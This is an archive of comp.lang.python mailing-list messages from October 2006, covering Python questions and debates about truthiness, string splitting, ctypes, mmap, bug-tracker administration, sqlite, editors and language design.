<1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: On 2006-10-27, Donn Cave wrote: > In article , > Antoon Pardon wrote: > ... >> I think you are incorrect. > > Thanks! I rest my case! > >> And how do I express that a number has to be greater than >> 100 into a Nothing vs Something dichotomy? Declare all >> greater numbers as Something and the rest as Nothing? > > Well, would you declare numbers less than 100 False? No but the condition: x > 100, will map all numbers to either True or False. Can you provide a condition that will provide a mapping to Nothing and Something? Without artificially mapping False to Nothing and True to Something? > Think about it in more philosophical terms. What is Truth? > The Internet Encyclopedia of Philosophy may be some help > with this - http://www.iep.utm.edu/t/truth.htm I don't care about such philosophical issues. I also doubt that you could provide better answers if you would subsituted Somthingness for truth is that text. > Then when you get tired of that, suppose that "if" and > "while" are asking for "yes" and "no", instead of "true" > and "false", and ask yourself if we have the philosophical > problems with "yes" that we do with "true". Of course we have. Deciding whether a statment/condition is true or not is equivallent to deciding whether or not we should answer yes or no to a related question. -- Antoon Pardon From Eric_Dexter at msn.com Sat Oct 7 00:07:43 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 6 Oct 2006 21:07:43 -0700 Subject: problem with split Message-ID: <1160194063.352905.106210@e3g2000cwe.googlegroups.com> apologies if I annoy and for spacing (google) def csdInstrumentList(from_file): "Returns a list of .csd instruments and any comment lines after the instrument" infile = open(from_file, 'r') temp_number = 0 for line in infile: if 'instr' in line: s = re.split(r' +',line,3) instr_number = s[1] return instr_number I am coming pretty close to what I want with variations on theis but I cant seem to get 3 lines with the split and instr_number[array] = s[1] seems to give me an error. the data from the line I am trying to split in three would look like this instr 83 ;comment would be here I want comment returned in an array and instr_number returned in an array. From danb_83 at yahoo.com Mon Oct 9 23:33:12 2006 From: danb_83 at yahoo.com (Dan Bishop) Date: 9 Oct 2006 20:33:12 -0700 Subject: Dive Into Java? In-Reply-To: <4ovcbvFgc2nlU1@individual.net> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de> <4ovcbvFgc2nlU1@individual.net> Message-ID: <1160451192.177874.122180@m73g2000cwd.googlegroups.com> On Oct 9, 11:40 am, Bjoern Schliessmann wrote: > Diez B. Roggisch wrote: ... > >> because [Java] wanted to be new and good but took over much of C++'s > >> syntax and made it even weirder, > > Even weirder? Care to explain?Example: > > int spam = 5; > > but > > String eggs = new String(); > > The latter seems totally unnecessary to me, as well as being too > verbose It is! All you have to write is String eggs = ""; Unfortunately, the other object types don't have literals. > why couldn't they go the simple way as in Python and > just state > > String eggs; > > -- is it because in C++ it'd mean something different? Can't be, because Java already uses the syntax for something different than C++. From sturlamolden at yahoo.no Mon Oct 23 20:18:45 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 23 Oct 2006 17:18:45 -0700 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <453D4BC4.9080100@v.loewis.de> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <453D4BC4.9080100@v.loewis.de> Message-ID: <1161649124.962144.127140@e3g2000cwe.googlegroups.com> Martin v. L?wis wrote: > What architecture are you on? On a 32-bit architecture, it's likely > impossible to map in 2GiB, anyway (since it likely won't fit into the > available address space). Indeed. But why does Python's memory mapping need to be flushed? And why doesn't Python's mmap take an offset argument to handle large files? Is Python actually memory mapping with mmap or just faking it with fseek? If Python isn't memory mapping, there would be no limit imposed by the 32 bit address space. From ewijaya at i2r.a-star.edu.sg Mon Oct 23 09:39:53 2006 From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward) Date: Mon, 23 Oct 2006 21:39:53 +0800 Subject: Auto Completion for Python in VIM editor Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615CB@mailbe01.teak.local.net> Dear all, Perl and C/C++ have perl-support.vim and c.vim by Fritz Mehner that support a very convenient auto completion shortcut in visual mode (e.g \aw for While construct). Does anybody know if such a comprehensive scripts also exist for Python? python.vim doesn't seem to suppor this kind of autocompletion. Regards, Edward WIJAYA SINGAPORE ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- From johnjsal at NOSPAMgmail.com Fri Oct 20 18:33:01 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 20 Oct 2006 18:33:01 -0400 Subject: why does this unpacking work In-Reply-To: References: <1161373003.141096.277510@i42g2000cwa.googlegroups.com> <%ba_g.133$1n3.3373@news.tufts.edu> Message-ID: <4539502b$0$30766$c3e8da3@news.astraweb.com> Marc 'BlackJack' Rintsch wrote: > Uhm, you mean:: > > pair = (("California","San Francisco"),) > > Note the extra comma to make that "a tuple in a tuple". > > Ciao, > Marc 'BlackJack' Rintsch You're right! From steve at holdenweb.com Tue Oct 3 23:50:55 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 04 Oct 2006 04:50:55 +0100 Subject: PEP 358 and operations on bytes In-Reply-To: <8764f0iyao.fsf@benfinney.id.au> References: <20061003172441.GA28391@topjaklont.student.utwente.nl> <87k63gj41g.fsf@benfinney.id.au> <7.0.1.0.0.20061003220829.01cc7898@yahoo.com.ar> <87ejtoj1r8.fsf@benfinney.id.au> <8764f0iyao.fsf@benfinney.id.au> Message-ID: Ben Finney wrote: > Steve Holden writes: > > >>This would just be bloat > > > How would it be bloat? I'm describing a situation where the existing > methods merely move, being implemented in a common ancestor rather > than directly in the concrete sequence classes. > > >>without any use cases being demonstrated. What is your crying need >>for these methods? > > > I don't think I claimed a crying need for one. Consistency, where not > foolish, is desirable. > > I don't deny that there is work involved; my suggestion was in the > context of talking about a common ancestor to 'bytes' and 'str', in > order to refactor some of the common methods. > > >>Your *real* generalisation of the string method would actually >>require you to write >> >> ["foo", "bar", "spam", "baz", "quux", "wibble"].startswith(["foo"]) > > > Yes, you're right. I realised that after sending, but didn't correct > it. > > >>Python didn't get to be the language it is today by adding >>unnecessary hypergeneralisations on a whim. Show me how these >>methods will improve the daily lives of programmers and I'll >>champion them to the developers, but I don't think the world will be >>beating a path to your door. > > > Again, I'm discussing a still-nascent suggestion for a common sequence > ancestor; there are no demands here. If there is to be generalisation, > I'm merely pointing out that it could be at a higher level and be more > useful. > > If nothing else, it would lend more coherence to the "str is a > sequence" confusion if *all* sequences shared some str-derived > methods. > Unfortunately this is where your argument falls to the ground. Strings really are special, since each element of a string is another string. What confusion? Any proposal that tries to make strings and lists subclasses of a common ancestor is doomed to failure: strings are highly optimised for performance (in Python and in other languages), and the optimisations just wouldn't translate to a "generic sequence". That's just life in the real world. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From paul at boddie.org.uk Wed Oct 4 09:21:22 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 4 Oct 2006 06:21:22 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> Message-ID: <1159968082.377851.205270@m73g2000cwd.googlegroups.com> Giovanni Bajo wrote: > > In fact, are you absolutely positive that you need so much effort to > maintain an existing bugtracker installation? I wonder what kinds of insights were sought from other open source projects. It's not as if there aren't any big open source projects having approachable community members willing to share their thoughts on running open source (or any other kind of) issue tracking software. KDE and GNOME don't use SourceForge and yet manage their own infrastructure - has anyone asked them how they do it? Paul From kay.schluehr at gmx.net Sat Oct 14 03:40:57 2006 From: kay.schluehr at gmx.net (Kay Schluehr) Date: 14 Oct 2006 00:40:57 -0700 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <7xhcy72xm1.fsf@ruckus.brouhaha.com> Message-ID: <1160811657.449049.78940@m73g2000cwd.googlegroups.com> Paul Rubin wrote: > brenocon at gmail.com writes: > > deferred = fetchPage('http://python.org') > > def _showResponse(response) > > print "fancy formatting: %s" % response.text > > deferred.addCallback(_showResponse) > > > > Lots of Twisted code has to be written backwards like this. > > But that's just ugly. The fetchPage function should take the callback > as an argument. In an asynchronous system it would even be buggy. > What happens if the page fetch completes before you add the callback? As long as the fetchPage object does not start fetching right after being constructed but only after applying an additional activate() method the code is not buggy. I'm not sure about this design either. Is _showResponse really that characteristic for fetchPage that it can't be an object method? Spreading tiny function definitions all over the code may be finally not such a good idea compared with a few generic methods that get just called? OO might run out of fashion these days but Python is not Java and Pythons OO is pretty lightweight. From theller at python.net Fri Oct 6 15:09:37 2006 From: theller at python.net (Thomas Heller) Date: Fri, 06 Oct 2006 21:09:37 +0200 Subject: ctypes, arrays and pointers In-Reply-To: <452342da$0$11970$afc38c87@news.optusnet.com.au> References: <452342da$0$11970$afc38c87@news.optusnet.com.au> Message-ID: Richard Jones schrieb: > Does anyone know how to do the equivalent of this using ctypes? > > image_data = malloc(width * height * components); > row_pointers = png_get_rows(png_ptr, info_ptr); > for (y = 0; y < height; y++) > memcpy(&image_data[width * components * y], > row_pointers[height-y-1], > width * components); > > That is, I need to get the address of a location *within* an allocated > array. This is what I've got: > > image_data = create_string_buffer(width * height * components) > address = addressof(image_data) > row_pointers = libpng.png_get_rows(png_ptr, info_ptr) > for y in xrange(height): > row = string_at(address + width * components * y) > memmove(row, row_pointers[height-y-1], width * components) > > but that's not correct. Either the addressof() or string_at() are not > working according to my understanding from the docs, because that code > segfaults. FWIW, I also tried: > > row = image_data + width * components * y > > but you can't add an int to a c_char_Array_2415600. This feature request has now come up the second time, so I guess I will have to find a solution for it. Someone suggested a byref_at(obj, offset) method which would return a kind of pointer to 'obj' plus offset, and even provided a patch for it (on the ctypes-users lists, maybe even in the ctypes or Python SF tracker). Unfortunately that was after the feature freeze for Python 2.5. > Sadly the docs don't seem to be finished :( > > http://docs.python.org/dev/lib/ctypes-arrays-pointers.html > > This problem wouldn't have been described in the docs anyway, but keep on bugging me about the docs: Thomas From martin at v.loewis.de Thu Oct 5 14:12:40 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Thu, 05 Oct 2006 20:12:40 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240FD5.3050705@v.loewis.de> <4n4Vg.135913$_J1.898276@twister2.libero.it> Message-ID: <45254B18.2090806@v.loewis.de> Michael Str?der schrieb: >> Martin, I am by no means understimating Daniel's work. I am just noting that >> the spare-time work he did is, by definition, much much lower than the "6-10 >> people" that the PSF infrastructure committee is calling for. I would like this >> statement to be officially reduced to "2-3 people", since it is *really* not >> required much more than that to setup a bug tracker installation, and no more >> than 1 person to maintain it afterwards. > > Glancing over this thread I wonder what these people are supposed to do. > Any list of requirements available? Anybody can help who has general experience with "server administration"; if you do, you know what typical problems are. In addition, you either should know how roundup works already, or should be willing to learn it as you go (from the fellow volunteers who have more insights). I can't personally anticipate what problems occur; it's only clear that the volunteers should "just make it work". The regular admin tasks likely include stuff like this: - the system is unavailable, bring it back to work This is really the worst case, and a short response time is the major factor in how users perceive the service - the system is responding very slowly - "when I do this operation, it doesn't work" or "when I do this operation, I get that error" - "why does this f*cking system require me to do foo, I don't want that" There might also be the need for regular maintenance. Ad hoc, the only thing that comes to mind is user account maintenance: what users get what permissions. Traditionally (because of the SF model), Python committers get "admin" rights on the tracker, i.e. the right to close issues they didn't create. Not sure what the best model is for Roundup (roundup expertise is needed to propose an appropriate access control model). Other regular maintenance might involve spam removal; ideally, this would be minimal due to a well-thought access control. Finally, there might be a need for customization, perhaps by means of implementing new features. Clearly, whether features can be implemented depends on the amount of volunteer time available and neede, and also on the importance of the requested feature. For example, in SF, we requested that the "Check to upload" button is removed; it took SF several years to implement that request. Regards, Martin From srinivasaraju.datla at gmail.com Fri Oct 13 06:35:16 2006 From: srinivasaraju.datla at gmail.com (=?utf-8?B?4LC24LGN4LCw4LGA4LCo4LC/4LC14LC+4LC4?=) Date: 13 Oct 2006 03:35:16 -0700 Subject: Need a Regular expression to remove a char for Unicode text Message-ID: <1160735716.805309.316830@m73g2000cwd.googlegroups.com> Hai friends, Can any one tell me how can i remove a character from a unocode text. ????&??? is a Telugu word in Unicode. Here i want to remove '&' but not replace with a zero width char. And one more thing, if any whitespaces are there before and after '&' char, the text should be kept as it is. Please tell me how can i workout this with regular expressions. Thanks and regards Srinivasa Raju Datla From MonkeeSage at gmail.com Sat Oct 7 02:09:08 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 6 Oct 2006 23:09:08 -0700 Subject: problem with split In-Reply-To: References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com> <03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com> Message-ID: <1160201348.602509.9900@m73g2000cwd.googlegroups.com> On Oct 6, 11:33 pm, hanumizzle wrote: > import re > > > > if line.startswith('instr'): > p = re.compile(r'(\d+)\s+;(.*)$') > m = p.search(line) > > return (m.group(1), m.group(2)) You probably don't want startswith, in case there are initial spaces in the line. Also, since the regexp is single use, you can just use the re.search class method, which will compile the regexp implicitly. May also want to strip the second grouped match, in case of trailing spaces. if 'instr' in line: m = re.search(r'(\d+)\s+;(.*)$', line) if m: return (m.group(1), m.group(2).strip()) Regards, Jordan From pydecker at gmail.com Fri Oct 13 21:49:21 2006 From: pydecker at gmail.com (Peter Decker) Date: Fri, 13 Oct 2006 21:49:21 -0400 Subject: Python component model In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> Message-ID: On 10/12/06, Peter Maas wrote: > Peter Decker wrote: > > I think you should take a good look at Dabo and the visual tools they > > are creating. > > Thanks for the hint, Peter. I've heard of Dabo and it's on my list of > things to be inspected. Perhaps my postings have been misunderstood. I don't > feel uneasy with Python. I'm using it since 4 years and know how to find > the tools I need. But I feel uneasy with an excessive readiness of some > c.l.p participants to accept Python as it is and even to react defiantly > on friendly suggestions how to make Python a more obvious choice for > newcomers. I think this is important for Python's survival. I think that Python is a 3GL. Dabo is a 4GL version of Python, in that its UI is part of its core API. Dabo is written by people with visual tools backgrounds, and they are definitely aiming toward that market. They are looking to the same niche that Visual Basic, Visual FoxPro, Filemaker, Delphi, and other similar products are addressing. -- # p.d. From oliphant.travis at ieee.org Wed Oct 25 06:21:01 2006 From: oliphant.travis at ieee.org (Travis E. Oliphant) Date: Wed, 25 Oct 2006 04:21:01 -0600 Subject: unsigned 32 bit arithmetic type? In-Reply-To: <453F3189.5000502@chamonix.reportlab.co.uk> References: <453F3189.5000502@chamonix.reportlab.co.uk> Message-ID: Robin Becker wrote: > Hi, just trying to avoid wheel reinvention. I have need of an unsigned 32 bit > arithmetic type to carry out a checksum operation and wondered if anyone had > already defined such a beast. > > Our current code works with 32 bit cpu's, but is failing with 64 bit > comparisons; it's clearly wrong as we are comparing a number with a negated > number; the bits might drop off in 32 bits, but not in 64. NumPy defines an array and an array scalar for all signed and unsigned integers defined in C. import numpy as nx type(nx.array([1,2,3],dtype=nx.uint32)[0]) From rpdooling at gmail.com Wed Oct 11 16:34:57 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 11 Oct 2006 13:34:57 -0700 Subject: python 2.5 & sqlite3 Message-ID: <1160598897.399515.290620@m7g2000cwm.googlegroups.com> Sorry, I have a knack for making things more difficult than they need to be. I'm on Windows XP and waiting for the ActiveState release of Python 2.5. I want to experiment with sqlite and I see that Python 2.5 has the "wrapper" but sqlite itself must be downloaded separately. I see no installation instructions on the sqlite.org site for Windows XP. I have downloaded sqlite3.exe, sqlite3.dll, and sqlite3.def. Must I put them in a certain location, or will any folder do as long as it is in path? Anybody know if the ActiveState distribution will have sqlite itself included? As always, thank you for the generous help. rd From fredrik at pythonware.com Tue Oct 10 14:48:08 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 20:48:08 +0200 Subject: Python component model In-Reply-To: <1160502439.729432.13480@h48g2000cwc.googlegroups.com> References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> <1160502439.729432.13480@h48g2000cwc.googlegroups.com> Message-ID: fumanchu wrote: >> 4) Custom property and component editors: A component editor can present >> a property editor or an editor for an entire component which the visual >> design-time RAD environment can use to allow the programmer end-user of >> the component to set or get component property values. Normally a design >> time environment will present default property editors for each >> component property type, but a component can override this. > > This is the hard part. I believe Dabo has done some work in this space, > but this is where the tight coupling comes in between code and tool, a > coupling which Python has traditionally resisted. that's not that hard on a pure technical level; even a "basic" tool like IDLE can hook itself into an executing Python process. once you're hooked up, you can inspect and modify most about everything. for example, doing remote tweaking of live Tkinter widget trees is pretty straight-forward. coming up with a good way to capture the modifications, and use them in your actual application, is a bit harder. do you really want to replace plain old source code with some kind of more or less obscure resource files? and designing a metadata vocabulary that's powerful enough to be useful for more than just one or a few target domains might be really hard. From rschroev_nospam_ml at fastmail.fm Sun Oct 1 12:48:22 2006 From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven) Date: Sun, 01 Oct 2006 16:48:22 GMT Subject: Is this a bug? Python intermittently stops dead for seconds In-Reply-To: References: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> Message-ID: Charlie Strauss schreef: > On Oct 1, 2006, at 9:48 AM, Fredrik Lundh wrote: >> charlie strauss wrote: >>> Could you clarify that for me. GC really has three components >>> two it: 1) finding and freeing unrefernced memory by refer >>> refer counts 2) cycle removal and 3) defragementing the >>> storage stack. If I turn off GC, don't I lose all of these? >>> >> CPython always does (1), only does (2) if cycle-breaking GC isn't >> disabled, and never does (3). > [snip] > And just to be clear: are you saying that when I do a gc.disable this > only turns off 2 and not 1? The docs don't say that as far as I can > tell. AFAIK Python always does reference counting, and the garbage collector is used only for more difficult cases. As the gc module docs say: "Since the collector supplements the reference counting already used in Python, you can disable the collector if you are sure your program does not create reference cycles." I don't know if that's only true for CPython or also for the other implementations. -- If I have been able to see further, it was only because I stood on the shoulders of giants. -- Isaac Newton Roel Schroeven From http Thu Oct 26 04:00:14 2006 From: http (Paul Rubin) Date: 26 Oct 2006 01:00:14 -0700 Subject: Sorting by item_in_another_list References: <7x1woypbe1.fsf@ruckus.brouhaha.com> Message-ID: <7x8xj3cxrl.fsf@ruckus.brouhaha.com> Steven Bethard writes: > Cameron Walsh wrote: > > Which brings me to the question, would this solution: > > B = set(B) > > A = B + list(x for x in A if x not in B) > > be faster than this solution: > > B = set(B) > > A.sort(key=B.__contains__, reverse=True) > [timings deleted] > That said, I'd probably still use the first solution -- it's more > immediately obvious why that one works. Wait a minute, the first example looks wrong, B has gotten replaced by a set and then it's added to a list. Anyway how about timing C = set(A) - set(B) A = B + filter(C.__contains__, A) This scans A twice, but it does more of the work in native code, without sorting. From mensanator at aol.com Fri Oct 13 20:09:03 2006 From: mensanator at aol.com (mensanator at aol.com) Date: 13 Oct 2006 17:09:03 -0700 Subject: Starting out. In-Reply-To: References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> <1160696990.5969.4.camel@dsktp> <452f06a8$0$5108$afc38c87@news.optusnet.com.au> <1160721163.418861.269450@f16g2000cwb.googlegroups.com> Message-ID: <1160784543.238714.132310@k70g2000cwa.googlegroups.com> Tim Chase wrote: > > Maybe you should say "amongst the longest" > > > > pepperwort > > perpetuity > > perruquier > > pirouetter > > proprietor > > repertoire > > typewriter > > > > But even that would be wrong. > > > > rupturewort > > > >> hey, look, it's Friday > > proprietory > proterotype > rupturewort > > according to my web2 list of words. > > Hey, look, it's Friday, after 5:00pm! :) Well, I'm on vacation this week, so 5 pm means nothing to me: teetertotter from the Consolidated Word List from puzzlers.org. Yes, it's also spelled with a hyphen or a space, but as long as this is a valid spelling, it counts. I would recommend NOT looking this up, just take my word for it. You may be offended at what you find. > > -tkc From robert.kern at gmail.com Mon Oct 2 18:48:56 2006 From: robert.kern at gmail.com (Robert Kern) Date: Mon, 02 Oct 2006 17:48:56 -0500 Subject: Need help with an array problem. In-Reply-To: <1159828738.510075.153600@i42g2000cwa.googlegroups.com> References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com> <1159826923.911685.30120@m73g2000cwd.googlegroups.com> <1159828738.510075.153600@i42g2000cwa.googlegroups.com> Message-ID: jakobsg at gmail.com wrote: > To your question on casting long to short. This is how: > a=1234L # long > b=int(a) # int (short) No, a Python int is a C long. A Python long is an arbitrary-precision number and does not correspond to any C type. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From brenocon at gmail.com Sat Oct 14 17:56:09 2006 From: brenocon at gmail.com (brenocon at gmail.com) Date: 14 Oct 2006 14:56:09 -0700 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python In-Reply-To: <1160808124.455062.319660@m7g2000cwm.googlegroups.com> References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <1160802056.744732.323540@e3g2000cwe.googlegroups.com> <1160808124.455062.319660@m7g2000cwm.googlegroups.com> Message-ID: <1160862969.087167.29990@f16g2000cwb.googlegroups.com> Kay Schluehr wrote: > The with statement is already implemented in Python 2.5. > > http://docs.python.org/whatsnew/pep-343.html > > The main difference between the with statement and Ruby blocks is that > the with-statement does not support loops. Yielding a value of a > function decorated with a contextmanager and passing it to the BLOCK of > the with statement is essentially a one-shot. Therefore you can't use > the with statement to define iterators. It is not a lightweight visitor > pattern replacement as it is in Ruby. Hence the with- and the > for-statement are orthogonal to each other in Python. Thanks or the What's-New link, it clarified things for me. So there are several ways to do things with code blocks now in python.. * for/while define loops around their blocks * if defines contional control into its block * with defines startup/cleanup context surrounding its block Twisted addCallback() is a different pattern than either of these. The code is deferred to execute at some later time. If there are many more patterns of things you could want to do with a block, it might be nice to have a blocks-are-closures mechanism. From gagsl-py at yahoo.com.ar Wed Oct 25 03:07:27 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 25 Oct 2006 04:07:27 -0300 Subject: ZODB for inverted index? In-Reply-To: <1161759244.955494.18500@m7g2000cwm.googlegroups.com> References: <1161625143.942199.327550@i3g2000cwc.googlegroups.com> <1OWdnfsSrM54mKDYnZ2dnUVZ_o-dnZ2d@comcast.com> <1161759244.955494.18500@m7g2000cwm.googlegroups.com> Message-ID: <7.0.1.0.0.20061025040512.0392aad0@yahoo.com.ar> At Wednesday 25/10/2006 03:54, vd12005 at yahoo.fr wrote: >anyway can someone help me on how to "rewrite" and "reload" a class >instance when using ZODB ? What do you mean? -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From python.list at tim.thechases.com Sun Oct 15 08:59:41 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Sun, 15 Oct 2006 07:59:41 -0500 Subject: Reverse string-formatting (maybe?) In-Reply-To: <1160916174.892851.39730@e3g2000cwe.googlegroups.com> References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com> <1160916174.892851.39730@e3g2000cwe.googlegroups.com> Message-ID: <453230BD.7070205@tim.thechases.com> > My template outside of the '%s' characters contains only commas and > spaces, and within, neither commas nor spaces. Given that information, > is there any reason it might not work properly? Given this new (key) information along with the assumption that you're doing straight string replacement (not dictionary replacement of the form "%(key)s" or other non-string types such as "%05.2f"), then yes, a reversal is possible. To make it more explicit, one would do something like >>> template = '%s, %s, %s' >>> values = ('Tom', 'Dick', 'Harry') >>> formatted = template % values >>> import re >>> unformat_string = template.replace('%s', '([^, ]+)') >>> unformatter = re.compile(unformat_string) >>> extracted_values = unformatter.search(formatted).groups() using '[^, ]+' to mean "one or more characters that aren't a comma or a space". -tkc From jordan.nick at gmail.com Wed Oct 4 00:02:04 2006 From: jordan.nick at gmail.com (jordan.nick at gmail.com) Date: 3 Oct 2006 21:02:04 -0700 Subject: Need help with syntax on inheritance. In-Reply-To: <1159927793.600354.150330@b28g2000cwb.googlegroups.com> References: <1159927793.600354.150330@b28g2000cwb.googlegroups.com> Message-ID: <1159934524.452250.253670@m7g2000cwm.googlegroups.com> SpreadTooThin wrote: > If you are deriving a new class from another class, > that you must (I assume) know the initializer of the other class. > > So in myClass > > import array > class myClass(arrary.array): > def __init__(self, now here I need to put array's constructor > parameters..., then mine): > array.array.__init__(self, typecode[, initializer]) > self.mine = mine > > So I'm confused... > array has a typecode parameter and an optional initiializer... > So could you help me with the class construction here please? Lookup *args and **kargs in the python reference manual. From bignose+hates-spam at benfinney.id.au Fri Oct 27 20:18:23 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Sat, 28 Oct 2006 10:18:23 +1000 Subject: Cards deck problem References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com> <7.0.1.0.0.20061027184609.05f31e68@yahoo.com.ar> Message-ID: <87vem5cmy8.fsf@benfinney.id.au> Gabriel Genellina writes: > At Friday 27/10/2006 00:48, Michael Naunton wrote: > > >As noted in the problem, a deck has 52 cards. cardsLeft(self) > >therefore always returns 52. > > Uhm, maybe it's a matter of language, but how do you name the pile of > cards remaining to be dealt once the game begins? In English? I'd call that a deck. However, that deck doesn't contain 52 cards any more, so a thing that behaves that way doesn't fit the definition of "deck" in the problem. Perhaps a better definition would have used language like "... begins with 52 cards" or the like, and described the properties of a deck to be modelled. Is this merely pedantic? If we were describing the rules of a game to be played by humans, yes. But in this case we're describing parameters of a problem to be modelled in a computer, hopefully independently by each student in a class. Getting the problem defined precisely is essential, otherwise judging the result fairly is impossible. (good sigmonster, have a cookie) -- \ "We demand rigidly defined areas of doubt and uncertainty!" -- | `\ Vroomfondel, _The Hitch-Hiker's Guide To The Galaxy_, Douglas | _o__) Adams | Ben Finney From bignose+hates-spam at benfinney.id.au Thu Oct 26 18:59:53 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Fri, 27 Oct 2006 08:59:53 +1000 Subject: What's the best IDE? References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> <454004a9$0$19602$88260bb3@free.teranews.com> <1161828498.791044.144040@f16g2000cwb.googlegroups.com> <7g40h.165$1n3.4282@news.tufts.edu> Message-ID: <87pscefzti.fsf@benfinney.id.au> Harry George writes: > John Salerno writes: > > Yeah, it was all the customizing that I could never figure out. > > years ago this worked for people I was supporting: > set softtabstop=4 shiftwidth=4 expandtab That's all I've ever needed vim to do with my Python code (apart from the syntax highlighting, which works by default when I've tried it). > Personally, I'm an emacs guy, so I wouldn't know. Should I start another thread about python-mode and how annoying it is? -- \ "If you get invited to your first orgy, don't just show up | `\ nude. That's a common mistake. You have to let nudity | _o__) 'happen.'" -- Jack Handey | Ben Finney From edreamleo at charter.net Tue Oct 10 15:20:35 2006 From: edreamleo at charter.net (Edward K. Ream) Date: Tue, 10 Oct 2006 14:20:35 -0500 Subject: ANN: Leo 4.4.2 beta 2 released Message-ID: <8oSWg.720$xK7.163@newsfe05.lga> Leo 4.4.2 beta 2 October 9, 2006 Leo 4.4.2 beta 2 is available at: http://sourceforge.net/project/showfiles.php?group_id=3458&package_id=29106 Leo is a text editor, data organizer, project manager and much more. See: http://webpages.charter.net/edreamleo/intro.html The highlights of Leo 4.4.2: ---------------------------- - You can now store settings in myLeoSettings.leo without fear of those settings being changed by cvs updates or in future versions of Leo. - Leo's vnode tnode and position classes are now completely independent of the rest of Leo. Some api's have been changed. This 'big reorg' and may affect scripts and plugins. - Leo's vnode and tnode classes can optionally be compatible with ZODB databases, i.e., they can optionally derive from ZODB.Persistence.Persistent. See Chapter 17: Using ZODB with Leo for details. - The leoOPML plugin defines commands to read and write OPML files. - The slideshow plugin allows Leo to run slideshows defined by @slideshow and @slide nodes. - The leo_to_rtf and leo_to_html plugins create rtf and html files from Leo outlines. - Much faster navigation through the outline. - When focus is in the outline pane, you can move to headlines by typing the first letter of headlines. - The find command now optionally closes nodes not needed to show the node containing the present match. - Numerous changes that make Leo easier to use without using a mouse, including new commands and options. - Many more minibuffer commands appear in the Cmds menu. - A sax parser can now optionally read .leo files. - Dozens of bug fixes. Quote of the month: ------------------ For the non-leo python project I'm (supposed to be) working on, I'm switching from emacs to leo :-) -- Terry Brown Links: ------ Leo: http://webpages.charter.net/edreamleo/front.html Home: http://sourceforge.net/projects/leo/ Download: http://sourceforge.net/project/showfiles.php?group_id=3458 CVS: http://leo.tigris.org/source/browse/leo/ Quotes: http://webpages.charter.net/edreamleo/testimonials.html Edward -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From http Tue Oct 24 01:14:35 2006 From: http (Paul Rubin) Date: 23 Oct 2006 22:14:35 -0700 Subject: SSL follow up References: Message-ID: <7xac3muwg4.fsf@ruckus.brouhaha.com> Yogesh Chawla - PD writes: > 2) I like the idea of calling openssl in a subprocess. > Do you have any of those openssl commands handy? If > not, I can look through the documentation tommorrow. To dump out the certificate? Try: openssl x509 -text -in filename.crt if the cert is in a file. Omit that -in parameter if you want openssl to read from stdin. Of course now you get this other text format thing to parse, but it's not so bad. From johnjsal at NOSPAMgmail.com Fri Oct 20 10:57:04 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 20 Oct 2006 14:57:04 GMT Subject: proper format for this database table In-Reply-To: <1161293831.141761.284230@e3g2000cwe.googlegroups.com> References: <1161293831.141761.284230@e3g2000cwe.googlegroups.com> Message-ID: 